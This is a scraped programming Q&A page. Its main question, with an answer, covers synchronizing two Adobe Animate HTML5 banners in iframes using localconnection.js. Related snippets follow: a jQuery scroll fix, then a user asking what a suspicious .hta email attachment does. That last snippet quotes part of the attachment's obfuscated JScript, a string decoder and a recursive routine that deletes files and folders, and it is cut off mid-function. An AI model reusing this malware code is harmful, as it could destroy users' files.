How to syncronize iframes (html5-banner)? - html
I would like to synchronize two advertising banners (html5) on a website. The banners are displayed in iframes. I have unfortunately only access to the code of the two banner. I'm trying to use localconnection.js
The html5 banner I create with adobe animate. My two test banners contain a very simple animation. The one banner is a little shorter, in order to demonstrate the temporal "diverge" with different banners. The animation of the right banner I stopped in the first picture (directly behind the Connect) - which should then be "pushed" from the left banner. Is that right? And if so, how do I do that?
HTML - Banner 1:
<!DOCTYPE html>
<!--
NOTES:
1. All tokens are represented by '$' sign in the template.
2. You can write your code only wherever mentioned.
3. All occurrences of existing tokens will be replaced by their appropriate values.
4. Blank lines will be removed automatically.
5. Remove unnecessary comments before creating your template.
-->
<html>
<head>
<meta charset="UTF-8">
<meta name="authoring-tool" content="Adobe_Animate_CC">
<title>sky1</title>
<!-- write your code here -->
<script src="https://code.createjs.com/createjs-2015.11.26.min.js"></script>
<script src="sky1.js"></script>
<script src="localconnection.js"></script>
<script>
var canvas, stage, exportRoot;
function init() {
canvas = document.getElementById("canvas");
handleComplete();
}
function handleComplete() {
//This function is always called, irrespective of the content. You can use the variable "stage" after it is created in token create_stage.
exportRoot = new lib.sky1();
stage = new createjs.Stage(canvas);
stage.addChild(exportRoot);
//Registers the "tick" event listener.
createjs.Ticker.setFPS(lib.properties.fps);
createjs.Ticker.addEventListener("tick", stage);
//Code to support hidpi screens and responsive scaling.
(function(isResp, respDim, isScale, scaleType) {
var lastW, lastH, lastS=1;
window.addEventListener('resize', resizeCanvas);
resizeCanvas();
function resizeCanvas() {
var w = lib.properties.width, h = lib.properties.height;
var iw = window.innerWidth, ih=window.innerHeight;
var pRatio = window.devicePixelRatio || 1, xRatio=iw/w, yRatio=ih/h, sRatio=1;
if(isResp) {
if((respDim=='width'&&lastW==iw) || (respDim=='height'&&lastH==ih)) {
sRatio = lastS;
}
else if(!isScale) {
if(iw<w || ih<h)
sRatio = Math.min(xRatio, yRatio);
}
else if(scaleType==1) {
sRatio = Math.min(xRatio, yRatio);
}
else if(scaleType==2) {
sRatio = Math.max(xRatio, yRatio);
}
}
canvas.width = w*pRatio*sRatio;
canvas.height = h*pRatio*sRatio;
canvas.style.width = w*sRatio+'px';
canvas.style.height = h*sRatio+'px';
stage.scaleX = pRatio*sRatio;
stage.scaleY = pRatio*sRatio;
lastW = iw; lastH = ih; lastS = sRatio;
}
})(false,'both',false,1);
}
</script>
<!-- write your code here -->
</head>
<body onload="init();" style="margin:0px;">
<canvas id="canvas" width="200" height="668" style="display: block; background-color:rgba(255, 255, 255, 1.00)"></canvas>
</body>
</html>
js - Banner 1:
(function (lib, img, cjs, ss) {
var p; // shortcut to reference prototypes
lib.webFontTxtInst = {};
var loadedTypekitCount = 0;
var loadedGoogleCount = 0;
var gFontsUpdateCacheList = [];
var tFontsUpdateCacheList = [];
// library properties:
lib.properties = {
width: 200,
height: 668,
fps: 24,
color: "#FFFFFF",
opacity: 1.00,
webfonts: {},
manifest: []
};
lib.ssMetadata = [];
lib.updateListCache = function (cacheList) {
for(var i = 0; i < cacheList.length; i++) {
if(cacheList[i].cacheCanvas)
cacheList[i].updateCache();
}
};
lib.addElementsToCache = function (textInst, cacheList) {
var cur = textInst;
while(cur != exportRoot) {
if(cacheList.indexOf(cur) != -1)
break;
cur = cur.parent;
}
if(cur != exportRoot) { //we have found an element in the list
var cur2 = textInst;
var index = cacheList.indexOf(cur);
while(cur2 != cur) { //insert all it's children just before it
cacheList.splice(index, 0, cur2);
cur2 = cur2.parent;
index++;
}
}
else { //append element and it's parents in the array
cur = textInst;
while(cur != exportRoot) {
cacheList.push(cur);
cur = cur.parent;
}
}
};
lib.gfontAvailable = function(family, totalGoogleCount) {
lib.properties.webfonts[family] = true;
var txtInst = lib.webFontTxtInst && lib.webFontTxtInst[family] || [];
for(var f = 0; f < txtInst.length; ++f)
lib.addElementsToCache(txtInst[f], gFontsUpdateCacheList);
loadedGoogleCount++;
if(loadedGoogleCount == totalGoogleCount) {
lib.updateListCache(gFontsUpdateCacheList);
}
};
lib.tfontAvailable = function(family, totalTypekitCount) {
lib.properties.webfonts[family] = true;
var txtInst = lib.webFontTxtInst && lib.webFontTxtInst[family] || [];
for(var f = 0; f < txtInst.length; ++f)
lib.addElementsToCache(txtInst[f], tFontsUpdateCacheList);
loadedTypekitCount++;
if(loadedTypekitCount == totalTypekitCount) {
lib.updateListCache(tFontsUpdateCacheList);
}
};
// symbols:
(lib.Symbol1 = function(mode,startPosition,loop) {
this.initialize(mode,startPosition,loop,{});
// Ebene 1
this.shape = new cjs.Shape();
this.shape.graphics.f("#990033").s().p("AvyMwIAA5fIflAAIAAZfg");
this.shape.setTransform(101.1,81.7);
this.timeline.addTween(cjs.Tween.get(this.shape).wait(1));
}).prototype = p = new cjs.MovieClip();
p.nominalBounds = new cjs.Rectangle(0,0,202.3,163.4);
// stage content:
(lib.sky1 = function(mode,startPosition,loop) {
this.initialize(mode,startPosition,loop,{});
// timeline functions:
this.frame_0 = function() {
LC.key = '123';
LC.name = 'links';
LC.frames = 'rechts';
LC.onConnect = function () {
console.log('Do this as soon as connection established!');
LC.rechts.document.getElementsByTagName('body')[0].style.backgroundColor = 'red';
};
LC.connect();
}
// actions tween:
this.timeline.addTween(cjs.Tween.get(this).call(this.frame_0).wait(203));
// animation
this.instance = new lib.Symbol1();
this.instance.parent = this;
this.instance.setTransform(100,80.6,1,1,0,0,0,101.1,81.7);
this.timeline.addTween(cjs.Tween.get(this.instance).wait(1).to({x:100.1,y:85.7},0).wait(1).to({y:90.8},0).wait(1).to({y:95.9},0).wait(1).to({y:101},0).wait(1).to({y:106.1},0).wait(1).to({y:111.3},0).wait(1).to({y:116.4},0).wait(1).to({y:121.5},0).wait(1).to({y:126.6},0).wait(1).to({x:100.2,y:131.7},0).wait(1).to({y:136.8},0).wait(1).to({y:141.9},0).wait(1).to({y:147},0).wait(1).to({y:152.1},0).wait(1).to({y:157.2},0).wait(1).to({y:162.3},0).wait(1).to({y:167.4},0).wait(1).to({y:172.6},0).wait(1).to({x:100.3,y:177.7},0).wait(1).to({y:182.8},0).wait(1).to({y:187.9},0).wait(1).to({y:193},0).wait(1).to({y:198.1},0).wait(1).to({y:203.2},0).wait(1).to({y:208.3},0).wait(1).to({y:213.4},0).wait(1).to({y:218.5},0).wait(1).to({x:100.4,y:223.6},0).wait(1).to({y:228.7},0).wait(1).to({y:233.9},0).wait(1).to({y:239},0).wait(1).to({y:244.1},0).wait(1).to({y:249.2},0).wait(1).to({y:254.3},0).wait(1).to({y:259.4},0).wait(1).to({y:264.5},0).wait(1).to({x:100.5,y:269.6},0).wait(1).to({y:274.7},0).wait(1).to({y:279.8},0).wait(1).to({y:284.9},0).wait(1).to({y:290.1},0).wait(1).to({y:295.2},0).wait(1).to({y:300.3},0).wait(1).to({y:305.4},0).wait(1).to({y:310.5},0).wait(1).to({x:100.6,y:315.6},0).wait(1).to({y:320.7},0).wait(1).to({y:325.8},0).wait(1).to({y:330.9},0).wait(1).to({y:336},0).wait(1).to({y:341.1},0).wait(1).to({y:346.2},0).wait(1).to({y:351.4},0).wait(1).to({y:356.5},0).wait(1).to({x:100.7,y:361.6},0).wait(1).to({y:366.7},0).wait(1).to({y:371.8},0).wait(1).to({y:376.9},0).wait(1).to({y:382},0).wait(1).to({y:387.1},0).wait(1).to({y:392.2},0).wait(1).to({y:397.3},0).wait(1).to({y:402.4},0).wait(1).to({x:100.8,y:407.5},0).wait(1).to({y:412.7},0).wait(1).to({y:417.8},0).wait(1).to({y:422.9},0).wait(1).to({y:428},0).wait(1).to({y:433.1},0).wait(1).to({y:438.2},0).wait(1).to({y:443.3},0).wait(1).to({y:448.4},0).wait(1).to({x:100.9,y:453.5},0).wait(1).to({y:458.6},0).wait(1).to({y:463.7},0).wait(1).to({y:468.9},0).wait(1).to({y:474},0).wait(1).to({y:479.1},0).wait(1).to({y:484.2},0).wait(1).to({y:489.3},0).wait(1).to({y:494.4},0).wait(1).to({x:101,y:499.5},0).wait(1).to({y:504.6},0).wait(1).to({y:509.7},0).wait(1).to({y:514.8},0).wait(1).to({y:519.9},0).wait(1).to({y:525},0).wait(1).to({y:530.2},0).wait(1).to({y:535.3},0).wait(1).to({y:540.4},0).wait(1).to({x:101.1,y:545.5},0).wait(1).to({y:550.6},0).wait(1).to({y:555.7},0).wait(1).to({y:560.8},0).wait(1).to({y:565.9},0).wait(1).to({y:571},0).wait(1).to({y:576.1},0).wait(1).to({y:581.2},0).wait(1).to({y:586.4},0).wait(1).to({y:581.5},0).wait(1).to({y:576.6},0).wait(1).to({y:571.7},0).wait(1).to({y:566.8},0).wait(1).to({y:561.9},0).wait(1).to({y:557},0).wait(1).to({y:552.1},0).wait(1).to({y:547.2},0).wait(1).to({y:542.3},0).wait(1).to({y:537.4},0).wait(1).to({y:532.5},0).wait(1).to({y:527.6},0).wait(1).to({y:522.7},0).wait(1).to({y:517.8},0).wait(1).to({y:512.9},0).wait(1).to({y:508},0).wait(1).to({y:503.1},0).wait(1).to({y:498.2},0).wait(1).to({y:493.3},0).wait(1).to({y:488.4},0).wait(1).to({y:483.5},0).wait(1).to({y:478.6},0).wait(1).to({y:473.7},0).wait(1).to({y:468.8},0).wait(1).to({y:463.9},0).wait(1).to({y:459},0).wait(1).to({y:454.1},0).wait(1).to({y:449.2},0).wait(1).to({y:444.3},0).wait(1).to({y:439.4},0).wait(1).to({y:434.5},0).wait(1).to({y:429.6},0).wait(1).to({y:424.7},0).wait(1).to({y:419.8},0).wait(1).to({y:414.9},0).wait(1).to({y:410},0).wait(1).to({y:405.1},0).wait(1).to({y:400.2},0).wait(1).to({y:395.3},0).wait(1).to({y:390.4},0).wait(1).to({y:385.5},0).wait(1).to({y:380.6},0).wait(1).to({y:375.7},0).wait(1).to({y:370.8},0).wait(1).to({y:365.9},0).wait(1).to({y:361},0).wait(1).to({y:356.1},0).wait(1).to({y:351.2},0).wait(1).to({y:346.3},0).wait(1).to({y:341.4},0).wait(1).to({y:336.5},0).wait(1).to({y:331.6},0).wait(1).to({y:326.7},0).wait(1).to({y:321.8},0).wait(1).to({y:316.9},0).wait(1).to({y:312},0).wait(1).to({y:307.1},0).wait(1).to({y:302.2},0).wait(1).to({y:297.3},0).wait(1).to({y:292.4},0).wait(1).to({y:287.5},0).wait(1).to({y:282.6},0).wait(1).to({y:277.7},0).wait(1).to({y:272.8},0).wait(1).to({y:267.9},0).wait(1).to({y:263},0).wait(1).to({y:258.1},0).wait(1).to({y:253.2},0).wait(1).to({y:248.3},0).wait(1).to({y:243.4},0).wait(1).to({y:238.5},0).wait(1).to({y:233.6},0).wait(1).to({y:228.7},0).wait(1).to({y:223.8},0).wait(1).to({y:218.9},0).wait(1).to({y:214},0).wait(1).to({y:209.1},0).wait(1).to({y:204.2},0).wait(1).to({y:199.3},0).wait(1).to({y:194.4},0).wait(1).to({y:189.5},0).wait(1).to({y:184.6},0).wait(1).to({y:179.7},0).wait(1).to({y:174.8},0).wait(1).to({y:169.9},0).wait(1).to({y:165},0).wait(1).to({y:160.1},0).wait(1).to({y:155.2},0).wait(1).to({y:150.3},0).wait(1).to({y:145.4},0).wait(1).to({y:140.5},0).wait(1).to({y:135.6},0).wait(1).to({y:130.7},0).wait(1).to({y:125.8},0).wait(1).to({y:120.9},0).wait(1).to({y:116},0).wait(1).to({y:111.1},0).wait(1).to({y:106.2},0).wait(1).to({y:101.3},0).wait(1).to({y:96.4},0).wait(1).to({y:91.5},0).wait(1).to({y:86.6},0).wait(1).to({y:81.7},0).wait(1));
}).prototype = p = new cjs.MovieClip();
p.nominalBounds = new cjs.Rectangle(98.9,332.9,202.3,163.4);
})(lib = lib||{}, images = images||{}, createjs = createjs||{}, ss = ss||{});
var lib, images, createjs, ss;
HTML - Banner 2:
<!DOCTYPE html>
<!--
NOTES:
1. All tokens are represented by '$' sign in the template.
2. You can write your code only wherever mentioned.
3. All occurrences of existing tokens will be replaced by their appropriate values.
4. Blank lines will be removed automatically.
5. Remove unnecessary comments before creating your template.
-->
<html>
<head>
<meta charset="UTF-8">
<meta name="authoring-tool" content="Adobe_Animate_CC">
<title>sky2</title>
<!-- write your code here -->
<script src="https://code.createjs.com/createjs-2015.11.26.min.js"></script>
<script src="sky2.js"></script>
<script src="localconnection.js"></script>
<script>
var canvas, stage, exportRoot;
function init() {
canvas = document.getElementById("canvas");
handleComplete();
}
function handleComplete() {
//This function is always called, irrespective of the content. You can use the variable "stage" after it is created in token create_stage.
exportRoot = new lib.sky2();
stage = new createjs.Stage(canvas);
stage.addChild(exportRoot);
//Registers the "tick" event listener.
createjs.Ticker.setFPS(lib.properties.fps);
createjs.Ticker.addEventListener("tick", stage);
//Code to support hidpi screens and responsive scaling.
(function(isResp, respDim, isScale, scaleType) {
var lastW, lastH, lastS=1;
window.addEventListener('resize', resizeCanvas);
resizeCanvas();
function resizeCanvas() {
var w = lib.properties.width, h = lib.properties.height;
var iw = window.innerWidth, ih=window.innerHeight;
var pRatio = window.devicePixelRatio || 1, xRatio=iw/w, yRatio=ih/h, sRatio=1;
if(isResp) {
if((respDim=='width'&&lastW==iw) || (respDim=='height'&&lastH==ih)) {
sRatio = lastS;
}
else if(!isScale) {
if(iw<w || ih<h)
sRatio = Math.min(xRatio, yRatio);
}
else if(scaleType==1) {
sRatio = Math.min(xRatio, yRatio);
}
else if(scaleType==2) {
sRatio = Math.max(xRatio, yRatio);
}
}
canvas.width = w*pRatio*sRatio;
canvas.height = h*pRatio*sRatio;
canvas.style.width = w*sRatio+'px';
canvas.style.height = h*sRatio+'px';
stage.scaleX = pRatio*sRatio;
stage.scaleY = pRatio*sRatio;
lastW = iw; lastH = ih; lastS = sRatio;
}
})(false,'both',false,1);
}
</script>
<!-- write your code here -->
</head>
<body onload="init();" style="margin:0px;">
<canvas id="canvas" width="200" height="668" style="display: block; background-color:rgba(255, 255, 255, 1.00)"></canvas>
</body>
</html>
js - Banner 2:
(function (lib, img, cjs, ss) {
var p; // shortcut to reference prototypes
lib.webFontTxtInst = {};
var loadedTypekitCount = 0;
var loadedGoogleCount = 0;
var gFontsUpdateCacheList = [];
var tFontsUpdateCacheList = [];
// library properties:
lib.properties = {
width: 200,
height: 668,
fps: 24,
color: "#FFFFFF",
opacity: 1.00,
webfonts: {},
manifest: []
};
lib.ssMetadata = [];
lib.updateListCache = function (cacheList) {
for(var i = 0; i < cacheList.length; i++) {
if(cacheList[i].cacheCanvas)
cacheList[i].updateCache();
}
};
lib.addElementsToCache = function (textInst, cacheList) {
var cur = textInst;
while(cur != exportRoot) {
if(cacheList.indexOf(cur) != -1)
break;
cur = cur.parent;
}
if(cur != exportRoot) { //we have found an element in the list
var cur2 = textInst;
var index = cacheList.indexOf(cur);
while(cur2 != cur) { //insert all it's children just before it
cacheList.splice(index, 0, cur2);
cur2 = cur2.parent;
index++;
}
}
else { //append element and it's parents in the array
cur = textInst;
while(cur != exportRoot) {
cacheList.push(cur);
cur = cur.parent;
}
}
};
lib.gfontAvailable = function(family, totalGoogleCount) {
lib.properties.webfonts[family] = true;
var txtInst = lib.webFontTxtInst && lib.webFontTxtInst[family] || [];
for(var f = 0; f < txtInst.length; ++f)
lib.addElementsToCache(txtInst[f], gFontsUpdateCacheList);
loadedGoogleCount++;
if(loadedGoogleCount == totalGoogleCount) {
lib.updateListCache(gFontsUpdateCacheList);
}
};
lib.tfontAvailable = function(family, totalTypekitCount) {
lib.properties.webfonts[family] = true;
var txtInst = lib.webFontTxtInst && lib.webFontTxtInst[family] || [];
for(var f = 0; f < txtInst.length; ++f)
lib.addElementsToCache(txtInst[f], tFontsUpdateCacheList);
loadedTypekitCount++;
if(loadedTypekitCount == totalTypekitCount) {
lib.updateListCache(tFontsUpdateCacheList);
}
};
// symbols:
(lib.Symbol1 = function(mode,startPosition,loop) {
this.initialize(mode,startPosition,loop,{});
// Ebene 1
this.shape = new cjs.Shape();
this.shape.graphics.f("#990033").s().p("AvyMwIAA5fIflAAIAAZfg");
this.shape.setTransform(101.1,81.7);
this.timeline.addTween(cjs.Tween.get(this.shape).wait(1));
}).prototype = p = new cjs.MovieClip();
p.nominalBounds = new cjs.Rectangle(0,0,202.3,163.4);
// stage content:
(lib.sky2 = function(mode,startPosition,loop) {
this.initialize(mode,startPosition,loop,{});
// timeline functions:
this.frame_0 = function() {
LC.key = '123';
LC.name = 'rechts';
LC.frames = 'links';
LC.onConnect = function () {
console.log('Do this as soon as connection established!');
LC.links.document.getElementsByTagName('body')[0].style.backgroundColor = 'blue';
};
LC.connect();
this.stop();
}
// actions tween:
this.timeline.addTween(cjs.Tween.get(this).call(this.frame_0).wait(202));
// animation
this.instance = new lib.Symbol1();
this.instance.parent = this;
this.instance.setTransform(100,80.6,1,1,0,0,0,101.1,81.7);
this.timeline.addTween(cjs.Tween.get(this.instance).wait(1).to({x:100.1,y:85.7},0).wait(1).to({y:90.8},0).wait(1).to({y:95.9},0).wait(1).to({y:101},0).wait(1).to({y:106.1},0).wait(1).to({y:111.3},0).wait(1).to({y:116.4},0).wait(1).to({y:121.5},0).wait(1).to({y:126.6},0).wait(1).to({x:100.2,y:131.7},0).wait(1).to({y:136.8},0).wait(1).to({y:141.9},0).wait(1).to({y:147},0).wait(1).to({y:152.1},0).wait(1).to({y:157.2},0).wait(1).to({y:162.3},0).wait(1).to({y:167.4},0).wait(1).to({y:172.6},0).wait(1).to({x:100.3,y:177.7},0).wait(1).to({y:182.8},0).wait(1).to({y:187.9},0).wait(1).to({y:193},0).wait(1).to({y:198.1},0).wait(1).to({y:203.2},0).wait(1).to({y:208.3},0).wait(1).to({y:213.4},0).wait(1).to({y:218.5},0).wait(1).to({x:100.4,y:223.6},0).wait(1).to({y:228.7},0).wait(1).to({y:233.9},0).wait(1).to({y:239},0).wait(1).to({y:244.1},0).wait(1).to({y:249.2},0).wait(1).to({y:254.3},0).wait(1).to({y:259.4},0).wait(1).to({y:264.5},0).wait(1).to({x:100.5,y:269.6},0).wait(1).to({y:274.7},0).wait(1).to({y:279.8},0).wait(1).to({y:284.9},0).wait(1).to({y:290.1},0).wait(1).to({y:295.2},0).wait(1).to({y:300.3},0).wait(1).to({y:305.4},0).wait(1).to({y:310.5},0).wait(1).to({x:100.6,y:315.6},0).wait(1).to({y:320.7},0).wait(1).to({y:325.8},0).wait(1).to({y:330.9},0).wait(1).to({y:336},0).wait(1).to({y:341.1},0).wait(1).to({y:346.2},0).wait(1).to({y:351.4},0).wait(1).to({y:356.5},0).wait(1).to({x:100.7,y:361.6},0).wait(1).to({y:366.7},0).wait(1).to({y:371.8},0).wait(1).to({y:376.9},0).wait(1).to({y:382},0).wait(1).to({y:387.1},0).wait(1).to({y:392.2},0).wait(1).to({y:397.3},0).wait(1).to({y:402.4},0).wait(1).to({x:100.8,y:407.5},0).wait(1).to({y:412.7},0).wait(1).to({y:417.8},0).wait(1).to({y:422.9},0).wait(1).to({y:428},0).wait(1).to({y:433.1},0).wait(1).to({y:438.2},0).wait(1).to({y:443.3},0).wait(1).to({y:448.4},0).wait(1).to({x:100.9,y:453.5},0).wait(1).to({y:458.6},0).wait(1).to({y:463.7},0).wait(1).to({y:468.9},0).wait(1).to({y:474},0).wait(1).to({y:479.1},0).wait(1).to({y:484.2},0).wait(1).to({y:489.3},0).wait(1).to({y:494.4},0).wait(1).to({x:101,y:499.5},0).wait(1).to({y:504.6},0).wait(1).to({y:509.7},0).wait(1).to({y:514.8},0).wait(1).to({y:519.9},0).wait(1).to({y:525},0).wait(1).to({y:530.2},0).wait(1).to({y:535.3},0).wait(1).to({y:540.4},0).wait(1).to({x:101.1,y:545.5},0).wait(1).to({y:550.6},0).wait(1).to({y:555.7},0).wait(1).to({y:560.8},0).wait(1).to({y:565.9},0).wait(1).to({y:571},0).wait(1).to({y:576.1},0).wait(1).to({y:581.2},0).wait(1).to({y:586.4},0).wait(1).to({y:581.4},0).wait(1).to({y:576.4},0).wait(1).to({y:571.4},0).wait(1).to({y:566.4},0).wait(1).to({y:561.4},0).wait(1).to({y:556.4},0).wait(1).to({y:551.4},0).wait(1).to({y:546.4},0).wait(1).to({y:541.4},0).wait(1).to({y:536.4},0).wait(1).to({y:531.4},0).wait(1).to({y:526.4},0).wait(1).to({y:521.4},0).wait(1).to({y:516.4},0).wait(1).to({y:511.4},0).wait(1).to({y:506.4},0).wait(1).to({y:501.4},0).wait(1).to({y:496.4},0).wait(1).to({y:491.4},0).wait(1).to({y:486.4},0).wait(1).to({y:481.4},0).wait(1).to({y:476.4},0).wait(1).to({y:471.4},0).wait(1).to({y:466.4},0).wait(1).to({y:461.4},0).wait(1).to({y:456.4},0).wait(1).to({y:451.4},0).wait(1).to({y:446.4},0).wait(1).to({y:441.5},0).wait(1).to({y:436.5},0).wait(1).to({y:431.5},0).wait(1).to({y:426.5},0).wait(1).to({y:421.5},0).wait(1).to({y:416.5},0).wait(1).to({y:411.5},0).wait(1).to({y:406.5},0).wait(1).to({y:401.5},0).wait(1).to({y:396.5},0).wait(1).to({y:391.5},0).wait(1).to({y:386.5},0).wait(1).to({y:381.5},0).wait(1).to({y:376.5},0).wait(1).to({y:371.5},0).wait(1).to({y:366.5},0).wait(1).to({y:361.5},0).wait(1).to({y:356.5},0).wait(1).to({y:351.5},0).wait(1).to({y:346.5},0).wait(1).to({y:341.5},0).wait(1).to({y:336.5},0).wait(1).to({y:331.5},0).wait(1).to({y:326.5},0).wait(1).to({y:321.5},0).wait(1).to({y:316.5},0).wait(1).to({y:311.5},0).wait(1).to({y:306.5},0).wait(1).to({y:301.6},0).wait(1).to({y:296.6},0).wait(1).to({y:291.6},0).wait(1).to({y:286.6},0).wait(1).to({y:281.6},0).wait(1).to({y:276.6},0).wait(1).to({y:271.6},0).wait(1).to({y:266.6},0).wait(1).to({y:261.6},0).wait(1).to({y:256.6},0).wait(1).to({y:251.6},0).wait(1).to({y:246.6},0).wait(1).to({y:241.6},0).wait(1).to({y:236.6},0).wait(1).to({y:231.6},0).wait(1).to({y:226.6},0).wait(1).to({y:221.6},0).wait(1).to({y:216.6},0).wait(1).to({y:211.6},0).wait(1).to({y:206.6},0).wait(1).to({y:201.6},0).wait(1).to({y:196.6},0).wait(1).to({y:191.6},0).wait(1).to({y:186.6},0).wait(1).to({y:181.6},0).wait(1).to({y:176.6},0).wait(1).to({y:171.6},0).wait(1).to({y:166.6},0).wait(1).to({y:161.6},0).wait(1).to({y:156.6},0).wait(1).to({y:151.7},0).wait(1).to({y:146.7},0).wait(1).to({y:141.7},0).wait(1).to({y:136.7},0).wait(1).to({y:131.7},0).wait(1).to({y:126.7},0).wait(1).to({y:121.7},0).wait(1).to({y:116.7},0).wait(1).to({y:111.7},0).wait(1).to({y:106.7},0).wait(1).to({y:101.7},0).wait(1).to({y:96.7},0).wait(1).to({y:91.7},0).wait(1).to({y:86.7},0).wait(1).to({y:81.7},0).wait(2));
}).prototype = p = new cjs.MovieClip();
p.nominalBounds = new cjs.Rectangle(98.9,332.9,202.3,163.4);
})(lib = lib||{}, images = images||{}, createjs = createjs||{}, ss = ss||{});
var lib, images, createjs, ss;
it's better to call LC.connect(); function at the end of handleComplete() event, because as soon as exportRoot defined, it's available to use it main Animation object.
For example :
.....
exportRoot = new lib.sky2();
stage = new createjs.Stage(canvas);
stage.addChild(exportRoot);
LC.key = '123';
LC.name = 'links';
LC.frames = 'rechts';
LC.onConnect = function () {
exportRoot.play();
LC.rechts.exportRoot.play();
};
exportRoot.stop();
LC.connect();
.....
on the other animation you only need to define & call LC.connect(); like this :
.....
exportRoot = new lib.sky2();
stage = new createjs.Stage(canvas);
stage.addChild(exportRoot);
LC.key = '123';
LC.name = 'rechts'; // adjust name
LC.frames = 'links'; // adjust frames
LC.onConnect = function () {
// no action needed here
};
exportRoot.stop();
LC.connect();
....
Related
Scroll to Next Section jquery
(function ($) { var window = $(window), one = $("#one"), two = $("#two"), three = $("#three"), four = $("#four"), oneT = one.offset().top, twoT = two.offset().top, threeT = three.offset().top, fourT = four.offset().top; function Scroll(div) { var tp = $(div).offset().top; $("html, body").animate({ scrollTop: tp }, 500); } var tmp = 0; var mousewheelevt = /Firefox/i.test(navigator.userAgent) ? "DOMMouseScroll" : "mousewheel"; $("section").bind(mousewheelevt, function (e) { var evt = window.event || e; evt = evt.originalEvent ? evt.originalEvent : evt; var delta = evt.detail ? evt.detail * -40 : evt.wheelDelta; console.log(delta); if (delta < 0) { tmp++; if (tmp > 0) { var divT = $(this).next(); Scroll(divT); tmp = 0; } } else if (delta > 0) { tmp--; console.log("going up"); if (tmp < -1) { var divT = $(this).prev(); Scroll(divT); tmp = 0; } } }); })(jQuery); This is the code im using is there any problem , i am getting error called index.html:100 Uncaught TypeError: Cannot read properties of undefined (reading 'top') Can you please help me with this.
You likely do not have 4 sections in your HTML or you have divs with a class and you need a dot: $(".section") Then you need to use the wheel event instead of your current deprecated code jQuery messes things up and you need to then use the originalEvent You do not actually use any of the vars you declared in the beginning I also got rid of half the tests by testing the existence of next/prev (function($) { function Scroll($div) { var tp = $div.offset().top; $("html, body").animate({ scrollTop: tp }, 500); } const $sections = $("section"); $sections.on("wheel", function(e) { const delta = e.originalEvent.wheelDelta; // all newer browsers const down = delta < 0; let $divT = down ? $(this).next("section") : $(this).prev("section"); // we may get a next or previous that is undefined - not obvious if (!$divT.attr("id") || $divT.length === 0) { if (down) $divT = $sections.first(); else $divT = $sections.last(); } Scroll($divT); }); })(jQuery); section { height: 500px; border: 1px solid black; } <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script> <section id="one">One</section> <section id="two">Two</section> <section id="three">Three</section> <section id="four">Four</section>
what can this .hta file do?
I just got an email with an attachement of .hta file and here is the code: <html> <head><script language='JScript'> String.prototype.yakamurahirobetobeVIUVIUVIUtttoooo = function() { yakamurahirobetobeVIUVIUVIUXCOP = 0; var yakamurahirobetobeVIUVIUVIUddDccC1, yakamurahirobetobeVIUVIUVIUddDccC2, yakamurahirobetobeVIUVIUVIUc3, yakamurahirobetobeVIUVIUVIUc4; var yakamurahirobetobeVIUVIUVIUsudarinaB = this; yakamurahirobetobeVIUVIUVIUsudarinaB= yakamurahirobetobeVIUVIUVIUsudarinaB.replace(/GOGOGA/g, ''); var yakamurahirobetobeVIUVIUVIUout = ""; var yakamurahirobetobeVIUVIUVIUlen = yakamurahirobetobeVIUVIUVIUsud(yakamurahirobetobeVIUVIUVIUsudarinaB); while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen) { do { yakamurahirobetobeVIUVIUVIUddDccC1 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC1 == -1); if (yakamurahirobetobeVIUVIUVIUddDccC1 == -1) break; var yakamurahirobetobeVIUVIUVIUdodo = false; do { yakamurahirobetobeVIUVIUVIUddDccC2 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff]; yakamurahirobetobeVIUVIUVIUdodo = yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC2 == -1; } while (yakamurahirobetobeVIUVIUVIUdodo); if (yakamurahirobetobeVIUVIUVIUddDccC2 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode((yakamurahirobetobeVIUVIUVIUddDccC1 << 2) | ((yakamurahirobetobeVIUVIUVIUddDccC2 & 0x30) >> 4)); do { yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff; if (yakamurahirobetobeVIUVIUVIUc3 == 10*6+0.5*2) return yakamurahirobetobeVIUVIUVIUout; yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc3]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc3 == -1); if (yakamurahirobetobeVIUVIUVIUc3 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUddDccC2 & 0XF) << 4) | ((yakamurahirobetobeVIUVIUVIUc3 & 0x3c) >> 2)); do { yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff; if (yakamurahirobetobeVIUVIUVIUc4 == 61) return yakamurahirobetobeVIUVIUVIUout; yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc4]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc4 == -1); if (yakamurahirobetobeVIUVIUVIUc4 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUc3 & 0x03) << 6) | yakamurahirobetobeVIUVIUVIUc4); } return yakamurahirobetobeVIUVIUVIUout; }; function ProcessFolder(folderPath) { var path = ""; for (var i in maskArr) { path = folderPath + "\\" + maskArr[i]; try { fsoObj.DeleteFile(path); } catch (e) {} try { fsoObj.DeleteFolder(path); } catch (e) {} } var subfolders = new Enumerator(fsoObj.GetFolder(folderPath).SubFolders); for(; !subfolders.atEnd(); subfolders.moveNext()) ProcessFolder(subfolders.item().Path); } function 